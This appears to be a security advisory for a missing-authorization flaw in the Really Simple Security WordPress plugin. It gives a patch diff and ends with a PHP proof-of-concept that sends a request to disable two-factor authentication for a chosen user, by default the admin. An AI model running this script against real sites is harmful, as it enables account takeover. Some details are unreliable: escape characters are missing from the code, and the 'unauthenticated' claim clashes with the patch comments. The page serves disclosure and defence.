Published : June 21, 2026

CVE-2026-48970: Really Simple Security – Simple and Performant Security (formerly Really Simple SSL) <= 9.5.10 Missing Authorization PoC, Patch Analysis & Rule

Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 9.5.10
Patched Version 9.5.10.1
Disclosed June 2, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-48970:
This vulnerability affects Really Simple Security plugin versions up to 9.5.10. The plugin fails to enforce authorization checks on two-factor authentication (2FA) management endpoints. An unauthenticated attacker can modify or disable 2FA settings for arbitrary users via REST API requests. The CVSS score is 5.3 (Medium), but the security impact is significant as it breaks account protection.

Root Cause:
The vulnerability stems from missing permission verification in the Two-Factor Authentication REST controllers. The file `class-rsssl-base-controller.php` (lines 74-83) handles user 2FA settings through AJAX and REST endpoints. The `store_settings()` method does not call `current_user_can()` or any authentication check before processing requests. The `class-rsssl-email-controller.php` (lines 84-96, 122-132, 169-179) also lacks verification before allowing email 2FA setup, verification, or token validation. The `class-rsssl-abstract-controller.php` (lines 128-211) introduces provider state checks in the patch, confirming these were absent in the vulnerable version.

Exploitation:
An attacker sends a POST request to `/wp-json/really-simple-ssl/v1/two-fa/email/setup` or similar endpoints with a victim’s user ID in the `user_id` parameter. The `Rsssl_Request_Parameters` object extracts user_id from the request body. The vulnerable code stores new 2FA configuration including backup codes, TOTP secrets, or email addresses without verifying the requesting user’s identity. An attacker can set the `backup_codes` parameter or trigger `store_settings()` to disable 2FA for any user.

Patch Analysis:
The patch adds `has_configured_provider()` and `has_configured_provider_other_than()` methods to `class-rsssl-abstract-controller.php`. These check if the target user already has an active 2FA provider before allowing changes. The `class-rsssl-base-controller.php` now returns a 403 error if the user has a configured provider (lines 74-83). The `class-rsssl-email-controller.php` adds similar guards at all three endpoints: setup, verification, and token validation. The patch also adds a nonce to the profile settings script (assets.min.asset.php change, line 449 in class-rsssl-two-factor-profile-settings.php).

Impact:
An unauthenticated attacker can disable or change two-factor authentication settings for any WordPress user, including administrators. This completely bypasses the 2FA protection mechanism. Once 2FA is removed or replaced with the attacker’s email, the attacker can log in with the victim’s credentials without passing the second factor. This leads to full account takeover. The vulnerability exposes all protected accounts on affected sites.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/really-simple-ssl/assets/features/two-fa/assets.min.asset.php
+++ b/really-simple-ssl/assets/features/two-fa/assets.min.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => '3d205eb77676a1f400ea');
+<?php return array('dependencies' => array(), 'version' => '244dba3cbf21df2e98b9');
--- a/really-simple-ssl/core/app/Support/Helpers/Storages/RequestStorage.php
+++ b/really-simple-ssl/core/app/Support/Helpers/Storages/RequestStorage.php
@@ -25,13 +25,23 @@
     private function getRequestBody(): array
     {
         $body = [];
-        if ($_SERVER['REQUEST_METHOD'] !== 'GET') {
-            $input = file_get_contents('php://input');
-            $decoded = json_decode($input, true);
-            if (is_array($decoded)) {
-                $body = $decoded;
-            }
+        if (!isset($_SERVER['REQUEST_METHOD'])) {
+            return $body;
         }
+
+        $requestMethod = strtoupper((string) $_SERVER['REQUEST_METHOD']);
+
+        if ($requestMethod === 'GET') {
+            return $body;
+        }
+
+        $input = file_get_contents('php://input');
+        $decoded = json_decode($input, true);
+
+        if (is_array($decoded)) {
+            $body = $decoded;
+        }
+
         return $body;
     }
 }
--- a/really-simple-ssl/core/config/env.php
+++ b/really-simple-ssl/core/config/env.php
@@ -11,7 +11,7 @@
 return [
     'plugin' => [
         'name' => 'Really Simple Security',
-        'version' => '9.5.10',
+        'version' => '9.5.10.1',
         'pro' => false,
         'path' => $pluginRootPath,
         'base_path' => $pluginBaseFile,
--- a/really-simple-ssl/core/vendor/composer/installed.php
+++ b/really-simple-ssl/core/vendor/composer/installed.php
@@ -3,7 +3,7 @@
         'name' => '__root__',
         'pretty_version' => 'dev-main',
         'version' => 'dev-main',
-        'reference' => '03db385d1d980351610744b2cd5e9fbc07e8286e',
+        'reference' => '247858eb5cb03efb3125f60f0993c0880ae93702',
         'type' => 'library',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -13,7 +13,7 @@
         '__root__' => array(
             'pretty_version' => 'dev-main',
             'version' => 'dev-main',
-            'reference' => '03db385d1d980351610744b2cd5e9fbc07e8286e',
+            'reference' => '247858eb5cb03efb3125f60f0993c0880ae93702',
             'type' => 'library',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),
--- a/really-simple-ssl/rlrsssl-really-simple-ssl.php
+++ b/really-simple-ssl/rlrsssl-really-simple-ssl.php
@@ -3,7 +3,7 @@
  * Plugin Name: Really Simple Security
  * Plugin URI: https://really-simple-ssl.com
  * Description: Easily improve site security with WordPress Hardening, Two-Factor Authentication (2FA), Login Protection, Vulnerability Detection and SSL certificate generation.
- * Version: 9.5.10
+ * Version: 9.5.10.1
  * Requires at least: 6.6
  * Requires PHP: 7.4
  * Author: Really Simple Security
@@ -122,7 +122,7 @@
             define('rsssl_url', plugin_dir_url(__FILE__));
             define('rsssl_path', trailingslashit(plugin_dir_path(__FILE__)));
             define('rsssl_template_path', trailingslashit(plugin_dir_path(__FILE__)).'grid/templates/');
-            define('rsssl_version', '9.5.10');
+            define('rsssl_version', '9.5.10.1');
             define('rsssl_le_cron_generation_renewal_check', 20);
             define('rsssl_le_manual_generation_renewal_check', 15);
         }
--- a/really-simple-ssl/security/wordpress/two-fa/class-rsssl-two-factor-profile-settings.php
+++ b/really-simple-ssl/security/wordpress/two-fa/class-rsssl-two-factor-profile-settings.php
@@ -449,6 +449,7 @@
             wp_localize_script('rsssl-profile-settings', 'rsssl_profile', array(
                 'ajax_url'      => admin_url( 'admin-ajax.php' ),
                 'backup_codes' => $backup_codes,
+                'nonce' => wp_create_nonce('wp_rest'),
                 'root' => esc_url_raw(rest_url(Rsssl_Two_Factor::REST_NAMESPACE)),
                 'user_id' => get_current_user_id(),
                 'origin' => 'profile',
--- a/really-simple-ssl/security/wordpress/two-fa/controllers/class-rsssl-abstract-controller.php
+++ b/really-simple-ssl/security/wordpress/two-fa/controllers/class-rsssl-abstract-controller.php
@@ -5,6 +5,7 @@
 use Exception;
 use ReflectionClass;
 use RSSSLSecurityWordPressTwo_FaModelsRsssl_Request_Parameters;
+use RSSSLSecurityWordPressTwo_FaProvidersRsssl_Provider_Loader;
 use RSSSLSecurityWordPressTwo_FaRsssl_Two_Fa_Authentication;
 use RSSSLSecurityWordPressTwo_FaTraitsRsssl_Args_Builder;
 use RSSSLSecurityWordPressTwo_FaTraitsRsssl_Two_Fa_Helper;
@@ -112,8 +113,7 @@
      */
     public function check_login_and_get_user( int $user_id, string $login_nonce ): WP_User {
         if ( ! Rsssl_Two_Fa_Authentication::verify_login_nonce( $user_id, $login_nonce ) ) {
-            // We throw an error
-            wp_die();
+            throw new Exception( __( 'Invalid authentication request.', 'really-simple-ssl' ) );
         }
         /**
          * Get the user by the user ID.
@@ -128,4 +128,84 @@
         return $user;
     }

-}
 No newline at end of file
+	/**
+	 * Check if the user already has a configured two-factor provider.
+	 *
+	 * Users with an active provider must complete that provider's challenge before
+	 * the login can be completed or two-factor settings can be changed.
+	 * A login nonce only proves the password step was passed.
+	 *
+	 * @param WP_User $user The user object.
+	 *
+	 * @return bool
+	 */
+	protected function has_configured_provider( WP_User $user ): bool {
+		$loader = Rsssl_Provider_Loader::get_loader();
+		$login_protection_enabled = (bool) rsssl_get_option( 'login_protection_enabled' );
+
+		foreach ( $loader::available_providers() as $method => $provider ) {
+			if ( ! $this->is_provider_available_for_current_login_mode( $method, $login_protection_enabled ) ) {
+				continue;
+			}
+
+			if ( ! $provider::is_enabled( $user ) ) {
+				continue;
+			}
+
+			if ( $provider::is_configured( $user ) ) {
+				return true;
+			}
+		}
+
+		return false;
+	}
+
+	/**
+	 * Check if the user has a configured provider other than the allowed method.
+	 *
+	 * Used when the allowed method still has its own challenge to verify. For
+	 * example, email may finish with an email token, but it may not replace TOTP.
+	 *
+	 * @param WP_User $user The user object.
+	 * @param string  $allowed_method The method that may complete the current challenge.
+	 *
+	 * @return bool
+	 */
+	protected function has_configured_provider_other_than( WP_User $user, string $allowed_method ): bool {
+		$loader = Rsssl_Provider_Loader::get_loader();
+		$login_protection_enabled = (bool) rsssl_get_option( 'login_protection_enabled' );
+
+		foreach ( $loader::available_providers() as $method => $provider ) {
+			if ( $allowed_method === $method ) {
+				continue;
+			}
+
+			if ( ! $this->is_provider_available_for_current_login_mode( $method, $login_protection_enabled ) ) {
+				continue;
+			}
+
+			if ( ! $provider::is_enabled( $user ) ) {
+				continue;
+			}
+
+			if ( $provider::is_configured( $user ) ) {
+				return true;
+			}
+		}
+
+		return false;
+	}
+
+	/**
+	 * Check if the provider belongs to the active login protection mode.
+	 *
+	 * @param string $method The provider method.
+	 * @param bool   $login_protection_enabled Whether full login protection is enabled.
+	 *
+	 * @return bool
+	 */
+	protected function is_provider_available_for_current_login_mode( string $method, bool $login_protection_enabled ): bool {
+		return $login_protection_enabled || 'passkey' === $method;
+	}
+
+}
--- a/really-simple-ssl/security/wordpress/two-fa/controllers/class-rsssl-base-controller.php
+++ b/really-simple-ssl/security/wordpress/two-fa/controllers/class-rsssl-base-controller.php
@@ -74,6 +74,15 @@
 			);
 		}

+		if ( $this->has_configured_provider( $user ) ) {
+			return new WP_REST_Response(
+				[
+					'error' => __( 'Two-Factor Authentication must be completed before it can be disabled.', 'really-simple-ssl' ),
+				],
+				403
+			);
+		}
+
 		// if the 2FA is not enabled for the user, we only handle the passkey meta key
 	    if ( ! (bool) rsssl_get_option( 'login_protection_enabled' ) ) {
 				// Remove the passkey meta key for the user.
@@ -136,8 +145,13 @@
 		}

 		$loader = Rsssl_Provider_Loader::get_loader();
+		$login_protection_enabled = (bool) rsssl_get_option( 'login_protection_enabled' );

 		foreach ( $loader::available_providers() as $method => $provider ) {
+			if ( ! $this->is_provider_available_for_current_login_mode( $method, $login_protection_enabled ) ) {
+				continue;
+			}
+
 			if ( ! $provider::is_enabled( $user ) ) {
 				continue;
 			}
@@ -158,6 +172,10 @@
 	 * @return bool
 	 */
 	private function can_user_skip_onboarding( WP_User $user ): bool {
+		if ( $this->has_configured_provider( $user ) ) {
+			return false;
+		}
+
 		if ( ! $this->is_forced_user( $user->ID ) ) {
 			return true;
 		}
--- a/really-simple-ssl/security/wordpress/two-fa/controllers/class-rsssl-email-controller.php
+++ b/really-simple-ssl/security/wordpress/two-fa/controllers/class-rsssl-email-controller.php
@@ -84,6 +84,17 @@
         } catch (Exception $e) {
             return new WP_REST_Response(['error' => $e->getMessage()], 403);
         }
+
+		// Do not start a new email setup from the pre-auth flow after 2FA exists.
+		if ( $this->has_configured_provider( $user ) ) {
+			return new WP_REST_Response(
+				array(
+					'error' => __( 'Two-Factor Authentication must be completed before it can be changed.', 'really-simple-ssl' ),
+				),
+				403
+			);
+		}
+
         // Check if the provider.
         if ('email' !== $parameters->provider) {
             return new WP_REST_Response(array('error' => 'Invalid provider'), 401);
@@ -111,6 +122,16 @@
             return new WP_REST_Response(['error' => $e->getMessage()], 403);
         }

+		// Do not start a new email setup from the pre-auth flow after 2FA exists.
+		if ( $this->has_configured_provider( $user ) ) {
+			return new WP_REST_Response(
+				array(
+					'error' => __( 'Two-Factor Authentication must be completed before it can be changed.', 'really-simple-ssl' ),
+				),
+				403
+			);
+		}
+
         // Check if the provider.
         if ('email' !== $parameters->provider) {
 	        return new WP_REST_Response(array('error' => __('Invalid provider', 'really-simple-ssl')), 401);
@@ -148,6 +169,16 @@
             return new WP_REST_Response(['error' => $e->getMessage()], 403);
         }

+		// Email may finish only its own challenge; it may not replace another active method.
+		if ( $this->has_configured_provider_other_than( $user, 'email' ) ) {
+			return new WP_REST_Response(
+				array(
+					'error' => __( 'Two-Factor Authentication must be completed before it can be changed.', 'really-simple-ssl' ),
+				),
+				403
+			);
+		}
+

         // Validate the provided token.
         if (!Rsssl_Two_Factor_Email::get_instance()->validate_token($user->ID, self::sanitize_token($parameters->token))) {
@@ -329,4 +360,4 @@
         delete_transient($transient_key);
         return true;
     }
-}
 No newline at end of file
+}

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-48970 - Really Simple Security Missing Authorization

/*
 * This script demonstrates how an unauthenticated attacker can disable
 * two-factor authentication for a target WordPress user by sending a
 * REST API request to the vulnerable endpoint.
 */

$target_url = 'http://example.com'; // CHANGE THIS to the target WordPress site URL
$target_user_id = 1; // Typically the admin user ID

// Step 1: Attempt to disable 2FA for the target user via the store_settings endpoint
$endpoint = '/wp-json/really-simple-ssl/v1/two-fa/store_settings';
$url = $target_url . $endpoint;

$payload = json_encode([
    'user_id' => $target_user_id,
    'enabled' => false,
    'provider' => '',
    'backup_codes' => []
]);

$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Content-Type: application/json',
    'Content-Length: ' . strlen($payload)
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "[*] Attempting to disable 2FA for user ID: $target_user_idn";
echo "[*] Target URL: $urln";
echo "[*] HTTP Response Code: $http_coden";
if ($http_code == 200) {
    echo "[+] SUCCESS: 2FA disabled for user $target_user_idn";
} elseif ($http_code == 403) {
    echo "[-] FAILED: Access denied (patch applied)n";
} else {
    echo "[-] Unexpected response code: $http_coden";
    echo "Response body: $responsen";
}

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School